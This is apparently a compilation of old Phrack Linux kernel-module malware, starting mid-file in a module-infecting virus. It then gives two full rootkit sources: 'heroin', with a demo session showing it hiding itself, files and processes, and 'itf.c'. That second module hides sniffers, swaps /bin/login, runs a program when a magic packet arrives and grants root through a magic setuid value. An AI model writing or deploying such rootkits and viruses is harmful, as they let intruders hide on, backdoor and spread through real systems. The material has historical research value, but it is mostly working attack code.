<linux/symtab_begin.h> X(printk), X(vmalloc), X(vfree), X(kerneld_send), X(current_set), X(sys_call_table), X(register_symtab_from), #include <linux/symtab_end.h> }; char files2infect[7][60 + 2]; /* const char kernel_version[] = UTS_RELEASE; */ int (*old_create_module)(char*, int); int (*old_delete_module)(char *); int (*open)(char *, int, int); int (*close)(int); int (*unlink)(char*); int our_syscall(int); int infectfile(char *); int is_infected(char *); int cp(struct file*, struct file*); int writeVir(char *, char *); int init_module2(struct module*); char *get_mod_name(char*); /* needed to be global */ void *VirCode = NULL; /* install new syscall to see if we are already in kmem */ int our_syscall(int mn) { /* magic number: 40hex :-) */ if (mn == 0x40) return 0; else return -ENOSYS; } int new_create_module(char *name, int size) { int i = 0, j = 0, retval = 0; if ((retval = old_create_module(name, size)) < 0) return retval; /* find next free place */ for (i = 0; files2infect[0] && i < 7; i++); if (i == 6) return retval; /* get name of mod from user-space */ while ((files2infect[j] = get_fs_byte(name + j)) != 0 && j < 60) j++; DPRINTK("in new_create_module: got %s as #%d\n", files2infect, i); return retval; } /* we infect modules after sys_delete_module, to be sure * we don't confuse the kernel */ int new_delete_module(char *modname) { static int infected = 0; int retval = 0, i = 0; char *s = NULL, *name = NULL; retval = old_delete_module(modname); if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL) return retval; for (i = 0; files2infect[0] && i < 7; i++) { strcat(files2infect, ".o"); if ((s = get_mod_name(files2infect)) == NULL) { return retval; } name = strcpy(name, s); if (!is_infected(name)) { DPRINTK("try 2 infect %s as #%d\n", name, i); infected++; infectfile(name); } memset(files2infect, 0, 60 + 2); } /* for */ /* its enough */ if (infected >= ENOUGH) cleanup_module(); vfree(name); return retval; } /* lets take a look at sys_init_module(), that calls * our init_module() compiled with * CFLAG = ... -O2 -fomit-frame-pointer * in C: * ... * if((mp = find_module(name)) == NULL) * ... * * is in asm: * ... * call find_module * movl %eax, %ebp * ... * note that there is no normal stack frame !!! * thats the reason, why we find 'mp' (return from find_module) in %ebp * BUT only when compiled with the fomit-frame-pointer option !!! * with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp) * you should find mp at -4(%ebp) . * thiz is very bad hijacking of local vars and an own topic. * I hope you do not get an seg. fault. */ __asm__ (" .align 16 .globl init_module .type init_module,@function init_module: pushl %ebp /* ebp is a pointer to mp from sys_init_module() */ /* and the parameter for init_module2() */ call init_module2 popl %eax xorl %eax, %eax /* all good */ ret /* and return */ .hype27: .size init_module,.hype27-init_module "); /* for the one with no -fomit-frame-pointer and no -O2 this should (!) work: * * pushl %ebx * movl %ebp, %ebx * pushl -4(%ebx) * call init_module2 * addl $4, %esp * xorl %eax, %eax * popl %ebx * ret */ /*----------------------------------------------*/ int init_module2(struct module *mp) { char *s = NULL, *mod = NULL, *modname = NULL; long state = 0; mod = vmalloc(60 + 2); modname = vmalloc(MAXPATH + 60 + 2); if (!mod || !modname) return -1; strcpy(mod, mp->name); strcat(mod, ".o"); MOD_INC_USE_COUNT; DPRINTK("in init_module2: mod = %s\n", mod); /* take also a look at phrack#52 ...*/ mp->name = ""; mp->ref = 0; mp->size = 0; /* thiz is our new main ,look for copys in kmem ! */ if (sys_call_table[__NR_our_syscall] == 0) { old_delete_module = sys_call_table[__NR_delete_module]; old_create_module = sys_call_table[__NR_create_module]; sys_call_table[__NR_our_syscall] = (void*)our_syscall; sys_call_table[__NR_delete_module] = (void*)new_delete_module; sys_call_table[__NR_create_module] = (void*)new_create_module; memset(files2infect, 0, (60 + 2)*7); register_symtab(&my_symtab); } open = sys_call_table[__NR_open]; close = sys_call_table[__NR_close]; unlink = sys_call_table[__NR_unlink]; if ((s = get_mod_name(mod)) == NULL) return -1; modname = strcpy(modname, s); load_real_mod(modname, mod); vfree(mod); vfree(modname); return 0; } int cleanup_module() { sys_call_table[__NR_delete_module] = old_delete_module; sys_call_table[__NR_create_module] = old_create_module; sys_call_table[__NR_our_syscall] = NULL; DPRINTK("in cleanup_module\n"); vfree(VirCode); return 0; } /* returns 1 if infected; * seek at position MODLEN + 1 and read out 3 bytes, * if it is "ELF" it seems the file is already infected */ int is_infected(char *filename) { char det[4] = {0}; int fd = 0; struct file *file; DPRINTK("in is_infected: filename = %s\n", filename); BEGIN_KMEM fd = open(filename, O_RDONLY, 0); END_KMEM if (fd <= 0) return -1; if ((file = current->files->fd[fd]) == NULL) return -2; file->f_pos = MODLEN + 1; DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos); BEGIN_KMEM file->f_op->read(file->f_inode, file, det, 3); close(fd); END_KMEM DPRINTK("in is_infected: det = %s\n", det); if (strcmp(det, "ELF") == 0) return 1; else return 0; } /* copy the host-module to tmp, write VirCode to * hostmodule, and append tmp. * then delete tmp. */ int infectfile(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; BEGIN_KMEM in = open(filename, O_RDONLY, 0640); out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); END_KMEM DPRINTK("in infectfile: in = %d out = %d\n", in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /* save hostcode */ cp(file1, file2); BEGIN_KMEM file1->f_pos = 0; file2->f_pos = 0; /* write Vircode [from mem] */ DPRINTK("in infetcfile: filenanme = %s\n", filename); file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN); /* append hostcode */ cp(file2, file1); close(in); close(out); unlink(tmp); END_KMEM return 0; } int disinfect(char *filename) { char *tmp = "/tmp/t000"; int in = 0, out = 0; struct file *file1, *file2; BEGIN_KMEM in = open(filename, O_RDONLY, 0640); out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640); END_KMEM DPRINTK("in disinfect: in = %d out = %d\n",in, out); if (in <= 0 || out <= 0) return -1; file1 = current->files->fd[in]; file2 = current->files->fd[out]; if (!file1 || !file2) return -1; /* save hostcode */ cp(file1, file2); BEGIN_KMEM close(in); DPRINTK("in disinfect: filename = %s\n", filename); unlink(filename); in = open(filename, O_RDWR|O_CREAT, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; file2->f_pos = MODLEN; cp(file2, file1); BEGIN_KMEM close(in); close(out); unlink(tmp); END_KMEM return 0; } /* a simple copy routine, that expects the file struct pointer * of the files to be copied. * So its possible to append files due to copieng. */ int cp(struct file *file1, struct file *file2) { int in = 0, out = 0, r = 0; char *buf; if ((buf = (char*)vmalloc(10000)) == NULL) return -1; DPRINTK("in cp: f_pos = %d\n", file1->f_pos); BEGIN_KMEM while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0) file2->f_op->write(file2->f_inode, file2, buf, r); file2->f_inode->i_mode = file1->f_inode->i_mode; file2->f_inode->i_atime = file1->f_inode->i_atime; file2->f_inode->i_mtime = file1->f_inode->i_mtime; file2->f_inode->i_ctime = file1->f_inode->i_ctime; END_KMEM vfree(buf); return 0; } /* Is that simple: we disinfect the module [hide 'n seek] * and send a request to kerneld to load * the orig mod. N0 fuckin' parsing for symbols and headers * is needed - cool. */ int load_real_mod(char *path_name, char *name) { int r = 0, i = 0; struct file *file1, *file2; int in = 0, out = 0; DPRINTK("in load_real_mod name = %s\n", path_name); if (VirCode) vfree(VirCode); VirCode = vmalloc(MODLEN); if (!VirCode) return -1; BEGIN_KMEM in = open(path_name, O_RDONLY, 0640); END_KMEM if (in <= 0) return -1; file1 = current->files->fd[in]; if (!file1) return -1; /* read Vircode [into mem] */ BEGIN_KMEM file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN); close(in); END_KMEM disinfect(path_name); r = request_module(name); DPRINTK("in load_real_mod: request_module = %d\n", r); return 0; } char *get_mod_name(char *mod) { int fd = 0, i = 0; static char* modname = NULL; if (!modname) modname = vmalloc(MAXPATH + 60 + 2); if (!modname) return NULL; BEGIN_KMEM for (i = 0; (default_path && (strstr(mod, "/") == NULL)); i++) { memset(modname, 0, MAXPATH + 60 + 2); modname = strcpy(modname, default_path); modname = strcat(modname, "/"); modname = strcat(modname, mod); if ((fd = open(modname, O_RDONLY, 0640)) > 0) break; } close(fd); END_KMEM if (!default_path) return NULL; return modname; }
As halflife demonstrated in Phrack 50 with his linspy project, it is trivial
to patch any systemcall under Linux from within a module. This means that
once your system has been compromised at the root level, it is possible for
an intruder to hide completely _without_ modifying any binaries or leaving
any visible backdoors behind. Because such tools are likely to be in use
within the hacker community already, I decided to publish a piece of code to
demonstrate the potentials of a malicious module.
The following piece of code is a fully working Linux module for 2.1 kernels
that patches the getdents(), kill(), read() and query_module() calls. Once
loaded, the module becomes invisible to lsmod and a dump of /proc/modules by
modifying the output of every query_module() call and every read() call
accessing /proc/modules. Apparently rmmod also calls query_module() to list
all modules before attempting to remove the specified module, and will
therefore claim that the module does not exist even if you know its name. The
output of any getdents() call is modified to hide any files or directories
starting with a given string, leaving them accessible only if you know their
exact names. It also hides any directories in /proc matching pids that have a
specified flag set in its internal task structure, allowing a user with root
access to hide any process (and its children, since the task structure is
duplicated when the process does a fork()). To set this flag, simply send the
process a signal 31 which is caught and handled by the patched kill() call.
To demonstrate the effects...
[root@image :~/test]# ls -l
total 3
-rw------- 1 root root 2832 Oct 8 16:52 heroin.o
[root@image :~/test]# insmod heroin.o
[root@image :~/test]# lsmod | grep heroin
[root@image :~/test]# grep heroin /proc/modules
[root@image :~/test]# rmmod heroin
rmmod: module heroin not loaded
[root@image :~/test]# ls -l
total 0
[root@image :~/test]# echo "I'm invisible" > heroin_test
[root@image :~/test]# ls -l
total 0
[root@image :~/test]# cat heroin_test
I'm invisible
[root@image :~/test]# ps -aux | grep gpm
root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
[root@image :~/test]# kill -31 223
[root@image :~/test]# ps -aux | grep gpm
[root@image :~/test]# ps -aux 223
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
root 223 0.0 1.0 932 312 ? S 16:08 0:00 gpm
[root@image :~/test]# ls -l /proc | grep 223
[root@image :~/test]# ls -l /proc/223
total 0
-r--r--r-- 1 root root 0 Oct 8 16:53 cmdline
lrwx------ 1 root root 0 Oct 8 16:54 cwd -> /var/run
-r-------- 1 root root 0 Oct 8 16:54 environ
lrwx------ 1 root root 0 Oct 8 16:54 exe -> /usr/bin/gpm
dr-x------ 1 root root 0 Oct 8 16:54 fd
pr--r--r-- 1 root root 0 Oct 8 16:54 maps
-rw------- 1 root root 0 Oct 8 16:54 mem
lrwx------ 1 root root 0 Oct 8 16:54 root -> /
-r--r--r-- 1 root root 0 Oct 8 16:53 stat
-r--r--r-- 1 root root 0 Oct 8 16:54 statm
-r--r--r-- 1 root root 0 Oct 8 16:54 status
[root@image :~/test]#
-----
/* * heroin.c * * Runar Jensen <[email protected]> * * This Linux kernel module patches the getdents(), kill(), read() * and query_module() system calls to demonstrate the potential * dangers of the way modules have full access to the entire kernel. * * Once loaded, the module becomes invisible and can not be removed * with rmmod. Any files or directories starting with the string * defined by MAGIC_PREFIX appear to disappear, and sending a signal * 31 to any process as root effectively hides it and all its future * children. * * This code should compile cleanly and work with most (if not all) * recent 2.1.x kernels, and has been tested under 2.1.44 and 2.1.57. * It will not compile as is under 2.0.30, since 2.0.30 lacks the * query_module() function. * * Compile with: * gcc -O2 -fomit-frame-pointer -DMODULE -D__KERNEL__ -c heroin.c */ #include <linux/fs.h> #include <linux/module.h> #include <linux/modversions.h> #include <linux/malloc.h> #include <linux/unistd.h> #include <sys/syscall.h> #include <linux/dirent.h> #include <linux/proc_fs.h> #include <stdlib.h> #define MAGIC_PREFIX "heroin" #define PF_INVISIBLE 0x10000000 #define SIGINVISI 31 int errno; static inline _syscall3(int, getdents, uint, fd, struct dirent *, dirp, uint, count); static inline _syscall2(int, kill, pid_t, pid, int, sig); static inline _syscall3(ssize_t, read, int, fd, void *, buf, size_t, count); static inline _syscall5(int, query_module, const char *, name, int, which, void *, buf, size_t, bufsize, size_t *, ret); extern void *sys_call_table[]; int (*original_getdents)(unsigned int, struct dirent *, unsigned int); int (*original_kill)(pid_t, int); int (*original_read)(int, void *, size_t); int (*original_query_module)(const char *, int, void *, size_t, size_t *); int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if(*ptr < '0' || *ptr > '9') return(-1); res += (*ptr - '0') * mul; mul *= 10; } return(res); } void mybcopy(char *src, char *dst, unsigned int num) { while(num--) *(dst++) = *(src++); } int mystrcmp(char *str1, char *str2) { while(*str1 && *str2) if(*(str1++) != *(str2++)) return(-1); return(0); } struct task_struct *find_task(pid_t pid) { struct task_struct *task = current; do { if(task->pid == pid) return(task); task = task->next_task; } while(task != current); return(NULL); } int is_invisible(pid_t pid) { struct task_struct *task; if((task = find_task(pid)) == NULL) return(0); if(task->flags & PF_INVISIBLE) return(1); return(0); } int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int res; int proc = 0; struct inode *dinode; char *ptr = (char *)dirp; struct dirent *curr; struct dirent *prev = NULL; res = (*original_getdents)(fd, dirp, count); if(!res) return(res); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; while(ptr < (char *)dirp + res) { curr = (struct dirent *)ptr; if((!proc && !mystrcmp(MAGIC_PREFIX, curr->d_name)) || (proc && is_invisible(myatoi(curr->d_name)))) { if(curr == dirp) { res -= curr->d_reclen; mybcopy(ptr + curr->d_reclen, ptr, res); continue; } else prev->d_reclen += curr->d_reclen; } else prev = curr; ptr += curr->d_reclen; } return(res); } int hacked_kill(pid_t pid, int sig) { int res; struct task_struct *task = current; if(sig != SIGINVISI) { res = (*original_kill)(pid, sig); if(res == -1) return(-errno); return(res); } if((task = find_task(pid)) == NULL) return(-ESRCH); if(current->uid && current->euid) return(-EPERM); task->flags |= PF_INVISIBLE; return(0); } int hacked_read(int fd, char *buf, size_t count) { int res; char *ptr, *match; struct inode *dinode; res = (*original_read)(fd, buf, count); if(res == -1) return(-errno); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if(dinode->i_ino != PROC_MODULES || MAJOR(dinode->i_dev) || MINOR(dinode->i_dev) != 1) return(res); ptr = buf; while(ptr < buf + res) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr && *ptr != '\n') ptr++; ptr++; mybcopy(ptr, match, (buf + res) - ptr); res = res - (ptr - match); return(res); } while(*ptr && *ptr != '\n') ptr++; ptr++; } return(res); } int hacked_query_module(const char *name, int which, void *buf, size_t bufsize, size_t *ret) { int res; int cnt; char *ptr, *match; res = (*original_query_module)(name, which, buf, bufsize, ret); if(res == -1) return(-errno); if(which != QM_MODULES) return(res); ptr = buf; for(cnt = 0; cnt < *ret; cnt++) { if(!mystrcmp(MAGIC_PREFIX, ptr)) { match = ptr; while(*ptr) ptr++; ptr++; mybcopy(ptr, match, bufsize - (ptr - (char *)buf)); (*ret)--; return(res); } while(*ptr) ptr++; ptr++; } return(res); } int init_module(void) { original_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = hacked_getdents; original_kill = sys_call_table[SYS_kill]; sys_call_table[SYS_kill] = hacked_kill; original_read = sys_call_table[SYS_read]; sys_call_table[SYS_read] = hacked_read; original_query_module = sys_call_table[SYS_query_module]; sys_call_table[SYS_query_module] = hacked_query_module; return(0); } void cleanup_module(void) { sys_call_table[SYS_getdents] = original_getdents; sys_call_table[SYS_kill] = original_kill; sys_call_table[SYS_read] = original_read; sys_call_table[SYS_query_module] = original_query_module; }
-----
-----
Runar Jensen | Phone (318) 289-0125 | Email [email protected]
Network Administrator | or (800) 264-7440 | or [email protected]
Tech Operations Mgr | Fax (318) 235-1447 | Epage [email protected]
FirstNet of Acadiana | Pager (318) 268-8533 | [message in subject]
DESCRIPTION : This very good LKM was published in phrack 52 (article 18 : 'Weakening the Linux Kernel'). I often refered to it although some ideas in it were also taken from other LKMs / texts which were published before. This module has everything you need to backdoor a system in a very effective way. Look at the text supplied with it for all of its features.
LINK : http://www.phrack.com/
Here is itf.c. The goal of this program is to demonstrate kernel backdooring
techniques using systemcall redirection. Once installed, it is very hard to
spot.
Its features include:
- stealth functions: once insmod'ed, itf will modify struct module *mp and
get_kernel_symbols(2) so it won't appear in /proc/modules or ksyms' outputs.
Also, the module cannot be unloaded.
- sniffer hidder: itf will backdoor ioctl(2) so that the PROMISC flag will be
hidden. Note that you'll need to place the sniffer BEFORE insmod'ing itf.o,
because itf will trap a change in the PROMISC flag and will then stop hidding
it (otherwise you'd just have to do a ifconfig eth0 +promisc and you'd spot
the module...).
- file hidder: itf will also patch the getdents(2) system calls, thus hidding
files containing a certain word in their filename.
- process hidder: using the same technique as described above, itf will hide
/procs/P螪 directories using argv entries. Any process named with the magic
name will be hidden from the procfs tree.
- execve redirection: this implements Halflife's idea discussed in P51.
If a given program (notably /bin/login) is execve'd, itf will execve
another program instead. It uses tricks to overcome Linux memory managment
limitations: brk(2) is used to increase the calling program's data segment
size, thus allowing us to allocate user memory while in kernel mode (remember
that most system calls wait for arguments in user memory, not kernel mem).
- socket recvfrom() backdoor: when a packet matching a given size and a given
string is received, a non-interactive program will be executed. Typicall use
is a shell script (which will be hidden using the magic name) that opens
another port and waits there for shell commands.
- setuid() trojan: like Halflife's stuff. When a setuid() syscall with uid ==
magic number is done, the calling process will get uid = euid = gid = 0
<++> lkm_trojan.c
/* * itf.c v0.8 * Linux Integrated Trojan Facility * (c) plaguez 1997 -- [email protected] * This is mostly not fully tested code. Use at your own risks. * * * compile with: * gcc -c -O3 -fomit-frame-pointer itf.c * Then: * insmod itf * * * Thanks to Halflife and Solar Designer for their help/ideas. * * Greets to: w00w00, GRP, #phrack, #innuendo, K2, YmanZ, Zemial. * * */ #define MODULE #define __KERNEL__ #include <linux/config.h> #include <linux/module.h> #include <linux/version.h> #include <linux/types.h> #include <linux/fs.h> #include <linux/mm.h> #include <linux/errno.h> #include <asm/segment.h> #include <asm/pgtable.h> #include <sys/syscall.h> #include <linux/dirent.h> #include <asm/unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/socketcall.h> #include <linux/netdevice.h> #include <linux/if.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/proc_fs.h> #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <ctype.h> /* Customization section * - RECVEXEC is the full pathname of the program to be launched when a packet * of size MAGICSIZE and containing the word MAGICNAME is received with recvfrom(). * This program can be a shell script, but must be able to handle null **argv (I'm too lazy * to write more than execve(RECVEXEC,NULL,NULL); :) * - NEWEXEC is the name of the program that is executed instead of OLDEXEC * when an execve() syscall occurs. * - MAGICUID is the numeric uid that will give you root when a call to setuid(MAGICUID) * is made (like Halflife's code) * - files containing MAGICNAME in their full pathname will be invisible to * a getdents() system call. * - processes containing MAGICNAME in their process name will be hidden of the * procfs tree. */ #define MAGICNAME "w00w00T$!" #define MAGICUID 31337 #define OLDEXEC "/bin/login" #define NEWEXEC "/.w00w00T$!/w00w00T$!login" #define RECVEXEC "/.w00w00T$!/w00w00T$!recv" #define MAGICSIZE sizeof(MAGICNAME)+10 /* old system calls vectors */ int (*o_getdents) (uint, struct dirent *, uint); ssize_t(*o_readdir) (int, void *, size_t); int (*o_setuid) (uid_t); int (*o_execve) (const char *, const char *[], const char *[]); int (*o_ioctl) (int, int, unsigned long); int (*o_get_kernel_syms) (struct kernel_sym *); ssize_t(*o_read) (int, void *, size_t); int (*o_socketcall) (int, unsigned long *); /* entry points to brk() and fork() syscall. */ static inline _syscall1(int, brk, void *, end_data_segment); static inline _syscall0(int, fork); static inline _syscall1(void, exit, int, status); extern void *sys_call_table[]; extern struct proto tcp_prot; int errno; char mtroj[] = MAGICNAME; int __NR_myexecve; int promisc; /* * String-oriented functions * (from user-space to kernel-space or invert) */ char *strncpy_fromfs(char *dest, const char *src, int n) { char *tmp = src; int compt = 0; do { dest[compt++] = __get_user(tmp++, 1); } while ((dest[compt - 1] != '\0') && (compt != n)); return dest; } int myatoi(char *str) { int res = 0; int mul = 1; char *ptr; for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) { if (*ptr < '0' || *ptr > '9') return (-1); res += (*ptr - '0') * mul; mul *= 10; } return (res); } /* * process hiding functions */ struct task_struct *get_task(pid_t pid) { struct task_struct *p = current; do { if (p->pid == pid) return p; p = p->next_task; } while (p != current); return NULL; } /* the following function comes from fs/proc/array.c */ static inline char *task_name(struct task_struct *p, char *buf) { int i; char *name; name = p->comm; i = sizeof(p->comm); do { unsigned char c = *name; name++; i--; *buf = c; if (!c) break; if (c == '\\') { buf[1] = c; buf += 2; continue; } if (c == '\n') { buf[0] = '\\'; buf[1] = 'n'; buf += 2; continue; } buf++; } while (i); *buf = '\n'; return buf + 1; } int invisible(pid_t pid) { struct task_struct *task = get_task(pid); char *buffer; if (task) { buffer = kmalloc(200, GFP_KERNEL); memset(buffer, 0, 200); task_name(task, buffer); if (strstr(buffer, (char *) &mtroj)) { kfree(buffer); return 1; } } return 0; } /* * New system calls */ /* * hide module symbols */ int n_get_kernel_syms(struct kernel_sym *table) { struct kernel_sym *tb; int compt, compt2, compt3, i, done; compt = (*o_get_kernel_syms) (table); if (table != NULL) { tb = kmalloc(compt * sizeof(struct kernel_sym), GFP_KERNEL); if (tb == 0) { return compt; } compt2 = 0; done = 0; i = 0; memcpy_fromfs((void *) tb, (void *) table, compt * sizeof(struct kernel_sym)); while (!done) { if ((tb[compt2].name)[0] == '#') i = compt2; if (!strcmp(tb[compt2].name, mtroj)) { for (compt3 = i + 1; (tb[compt3].name)[0] != '#' && compt3 < compt; compt3++); if (compt3 != (compt - 1)) memmove((void *) &(tb[i]), (void *) &(tb[compt3]), (compt - compt3) * sizeof(struct kernel_sym)); else compt = i; done++; } compt2++; if (compt2 == compt) done++; } memcpy_tofs(table, tb, compt * sizeof(struct kernel_sym)); kfree(tb); } return compt; } /* * how it works: * I need to allocate user memory. To do that, I'll do exactly as malloc() does * it (changing the break value). */ int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; } int n_execve(const char *filename, const char *argv[], const char *envp[]) { char *test; int ret, tmp; char *truc = OLDEXEC; char *nouveau = NEWEXEC; unsigned long mmm; test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL); (void) strncpy_fromfs(test, filename, strlen(truc)); test[strlen(truc)] = '\0'; if (!strcmp(test, truc)) { kfree(test); mmm = current->mm->brk; ret = brk((void *) (mmm + 256)); if (ret < 0) return ret; memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1); ret = my_execve((char *) (mmm + 2), argv, envp); tmp = brk((void *) mmm); } else { kfree(test); ret = my_execve(filename, argv, envp); } return ret; } /* * Trap the ioctl() system call to hide PROMISC flag on ethernet interfaces. * If we reset the PROMISC flag when the trojan is already running, then it * won't hide it anymore (needed otherwise you'd just have to do an * "ifconfig eth0 +promisc" to find the trojan). */ int n_ioctl(int d, int request, unsigned long arg) { int tmp; struct ifreq ifr; tmp = (*o_ioctl) (d, request, arg); if (request == SIOCGIFFLAGS && !promisc) { memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq)); ifr.ifr_flags = ifr.ifr_flags & (~IFF_PROMISC); memcpy_tofs((struct ifreq *) arg, (struct ifreq *) &ifr, sizeof(struct ifreq)); } else if (request == SIOCSIFFLAGS) { memcpy_fromfs((struct ifreq *) &ifr, (struct ifreq *) arg, sizeof(struct ifreq)); if (ifr.ifr_flags & IFF_PROMISC) promisc = 1; else if (!(ifr.ifr_flags & IFF_PROMISC)) promisc = 0; } return tmp; } /* * trojan setMAGICUID() system call. */ int n_setuid(uid_t uid) { int tmp; if (uid == MAGICUID) { current->uid = 0; current->euid = 0; current->gid = 0; current->egid = 0; return 0; } tmp = (*o_setuid) (uid); return tmp; } /* * trojan getdents() system call. */ int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { unsigned int tmp, n; int t, proc = 0; struct inode *dinode; struct dirent *dirp2, *dirp3; tmp = (*o_getdents) (fd, dirp, count); #ifdef __LINUX_DCACHE_H dinode = current->files->fd[fd]->f_dentry->d_inode; #else dinode = current->files->fd[fd]->f_inode; #endif if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1) proc = 1; if (tmp > 0) { dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL); memcpy_fromfs(dirp2, dirp, tmp); dirp3 = dirp2; t = tmp; while (t > 0) { n = dirp3->d_reclen; t -= n; if ((strstr((char *) &(dirp3->d_name), (char *) &mtroj) != NULL) \ ||(proc && invisible(myatoi(dirp3->d_name)))) { if (t != 0) memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t); else dirp3->d_off = 1024; tmp -= n; } if (dirp3->d_reclen == 0) { /* * workaround for some shitty fs drivers that do not properly * feature the getdents syscall. */ tmp -= t; t = 0; } if (t != 0) dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen); } memcpy_tofs(dirp, dirp2, tmp); kfree(dirp2); } return tmp; } /* * Trojan socketcall system call * executes a given binary when a packet containing the magic word is received. * WARNING: THIS IS REALLY UNTESTED UGLY CODE. MAY CORRUPT YOUR SYSTEM. */ int n_socketcall(int call, unsigned long *args) { int ret, ret2, compt; char *t = RECVEXEC; unsigned long *sargs = args; unsigned long a0, a1, mmm; void *buf; ret = (*o_socketcall) (call, args); if (ret == MAGICSIZE && call == SYS_RECVFROM) { a0 = get_user(sargs); a1 = get_user(sargs + 1); buf = kmalloc(ret, GFP_KERNEL); memcpy_fromfs(buf, (void *) a1, ret); for (compt = 0; compt < ret; compt++) if (((char *) (buf))[compt] == 0) ((char *) (buf))[compt] = 1; if (strstr(buf, mtroj)) { kfree(buf); ret2 = fork(); if (ret2 == 0) { mmm = current->mm->brk; ret2 = brk((void *) (mmm + 256)); memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1); /* Hope the execve has been successfull otherwise you'll have 2 copies of the master process in the ps list :] */ ret2 = my_execve((char *) mmm + 2, NULL, NULL); } } } return ret; } /* * module initialization stuff. */ int init_module(void) { /* module list cleaning */ /* would need to make a clean search of the right register * in the function prologue, since gcc may not always put * struct module *mp in %ebx * * Try %ebx, %edi, %ebp, well, every register actually :) */ register struct module *mp asm("%ebx"); *(char *) (mp->name) = 0; mp->size = 0; mp->ref = 0; /* * Make it unremovable */ /* MOD_INC_USE_COUNT; */ o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms]; sys_call_table[SYS_get_kernel_syms] = (void *) n_get_kernel_syms; o_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void *) n_getdents; o_setuid = sys_call_table[SYS_setuid]; sys_call_table[SYS_setuid] = (void *) n_setuid; __NR_myexecve = 164; while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0) __NR_myexecve--; o_execve = sys_call_table[SYS_execve]; if (__NR_myexecve != 0) { sys_call_table[__NR_myexecve] = o_execve; sys_call_table[SYS_execve] = (void *) n_execve; } promisc = 0; o_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void *) n_ioctl; o_socketcall = sys_call_table[SYS_socketcall]; sys_call_table[SYS_socketcall] = (void *) n_socketcall; return 0; } void cleanup_module(void) { sys_call_table[SYS_get_kernel_syms] = o_get_kernel_syms; sys_call_table[SYS_getdents] = o_getdents; sys_call_table[SYS_setuid] = o_setuid; sys_call_table[SYS_socketcall] = o_socketcall; if (__NR_myexecve != 0) sys_call_table[__NR_myexecve] = 0; sys_call_table[SYS_execve] = o_execve; sys_call_table[SYS_ioctl] = o_ioctl; }
LINK : http://www.phrack.com/